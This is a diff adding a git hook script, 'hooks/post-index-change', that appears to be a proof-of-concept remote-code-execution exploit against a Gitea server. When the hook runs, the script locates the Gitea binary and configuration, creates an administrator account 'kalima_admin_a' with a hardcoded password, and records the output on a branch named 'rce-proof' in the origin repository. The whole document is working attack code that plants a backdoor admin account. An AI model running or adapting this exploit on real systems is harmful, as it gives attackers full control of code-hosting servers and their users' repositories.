a-1

hooks/post-index-change

@@ -0,0 +1,52 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin=""
+if [ -f "$git_dir/objects/info/alternates" ]; then
+  o=$(head -1 "$git_dir/objects/info/alternates") || o=""
+  case "$o" in
+    /*) origin="${o%/objects}" ;;
+    *) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
+  esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git remote get-url origin 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -z "$origin" ]; then
+  u=$(git config --get remote.origin.url 2>/dev/null) || u=""
+  case "$u" in /*) origin="${u%.git}";; esac
+fi
+if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
+  { echo '==BIN=='
+command -v gitea; ls -l /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea /var/lib/gitea/gitea /bin/gitea 2>/dev/null
+echo '==CFG=='
+ls -l /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null
+G=$(command -v gitea 2>/dev/null)
+[ -z "$G" ] && G=$(ls /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea 2>/dev/null | head -1)
+C=$(ls /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null | head -1)
+echo "RESOLVED_BIN=$G"
+echo "RESOLVED_CFG=$C"
+echo '==CREATE=='
+if [ -n "$G" ]; then
+  if [ -n "$C" ]; then
+    $G --config "$C" admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
+  else
+    $G admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
+  fi
+  echo "CREATE_EXIT=$?"
+  echo '==USERLIST=='
+  if [ -n "$C" ]; then
+    $G --config "$C" admin user list 2>&1 | head -8
+  else
+    $G admin user list 2>&1 | head -8
+  fi
+fi
+echo '==DONE=='
+  } 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
+  ob=$(cat /tmp/gpoc_blob 2>/dev/null)
+  [ -n "$ob" ] || exit 4
+  tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
+  commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
+  git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
+fi
+exit 0